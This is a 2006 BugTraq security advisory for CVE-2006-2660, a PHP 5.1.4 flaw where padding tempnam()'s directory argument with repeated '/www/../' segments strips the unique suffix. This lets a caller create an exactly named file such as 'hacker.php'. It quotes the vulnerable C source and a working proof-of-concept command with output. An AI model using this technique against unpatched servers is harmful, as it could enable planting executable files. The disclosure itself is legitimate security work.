BugTraq
tempnam() Bypass unique file name PHP 5.1.4 Jun 11 2006 10:39PM
cxib securityreason com
-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1

[tempnam() Bypass unique file name PHP 5.1.4]

Author: Maksymilian Arciemowicz (cXIb8O3)

Date:

- -Written: 22.5.2006

- -Public: 11.6.2006

from SECURITYREASON.COM

CVE-2006-2660

- --- 0.Description ---

PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.

A nice introduction to PHP by Stig Sæther Bakken can be found at http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the PHP Conference Material is freely available.

tempnam -- Create file with unique file name.

- --- 1. tempnam() Bypass unique file name ---

In lastes adv i have public an issue "Open Basedir Bypass". In function tempname() are required 2 arg`s.

http://pl.php.net/manual/en/function.tempnam.php

string tempnam ( string dir, string prefix )

In PHP 5.1.4 exists bug that allows you to create file with any name.

- ---

cxib# php -r 'echo tempnam("/www/temp/", "hacker.php")."\n";'

/www/temp/hacker.phpGQMqSE

- ---

You have created file /www/temp/hacker.phpGQMqSE. "GQMqSE" is automatically added to filename.

Problem exists, because path couldn't be longer than MAXPATHLEN. In standard MAXPATHLEN is 1024B.

- -771-805---

PHP_FUNCTION(tempnam)

{

zval **arg1, **arg2;

char *d;

char *opened_path;

char *p;

int fd;

size_t p_len;

if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &arg1, &arg2) == FAILURE) {

WRONG_PARAM_COUNT;

}

convert_to_string_ex(arg1);

convert_to_string_ex(arg2);

if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) {

RETURN_FALSE;

}

d = estrndup(Z_STRVAL_PP(arg1), Z_STRLEN_PP(arg1));

php_basename(Z_STRVAL_PP(arg2), Z_STRLEN_PP(arg2), NULL, 0, &p, &p_len TSRMLS_CC);

if (p_len > 64) {

p[63] = '\0';

}

if ((fd = php_open_temporary_fd(d, p, &opened_path TSRMLS_CC)) >= 0) {

close(fd);

RETVAL_STRING(opened_path, 0);

} else {

RETVAL_FALSE;

}

efree(p);

efree(d);

}

- -771-805---

So if you create path like /www/../www/.. etc.

arg1+arg2=1023

uniqueid is not given to path.

Example:

- ---

cxib# php -r 'echo tempnam("/www/../www/../www/../www/../www/../www/../www/../www/../www/..
/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../w
ww/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www
/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/.
./www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../
www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../ww
w/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/
../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/.
./www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/..
/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../w
ww/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www
/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/.
./www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../
www/../www/../www/../www/../www/../
www/../www/../www/../www/../www/../www/../www/temp/", "hacker.php")."\n";'

/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../w
ww/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www
/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/.
./www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../
www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../ww
w/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/
../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/..
/www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../
www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../w
ww/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www
/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/.
./www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../
www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../ww
w/../www/../www/../www/../www/../www/../www/../www/../
www/../www/../www/temp/hacker.php

- ---

= /www/temp/hacker.php

- ---

cxib# ls -la /www/temp/hacker*

- -rw------- 1 cxib cxib 0 May 22 23:33 /www/temp/hacker.php

- -rw------- 1 cxib cxib 0 May 22 23:26 /www/temp/hacker.phpGQMqSE

- ---

- --- 2. How to fix ---

CVS

http://cvs.php.net/viewcvs.cgi/php-src/NEWS

- --- 3. Greets ---

For: sp3x

and

p_e_a, l3x, pi3, eax, Infospec ;]

- --- 4. Contact ---

Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]

Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com

GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

SecurityReason.Com

-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.4.3 (FreeBSD)

iD8DBQFEjGMW3Ke13X/fTO4RAl50AKCH7H7pDtfjTLcZ02+izd3P25fkvACfS7tK

tTnC41pJ3aQEAEvt580AqI0=

=ZfrH

-----END PGP SIGNATURE-----

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus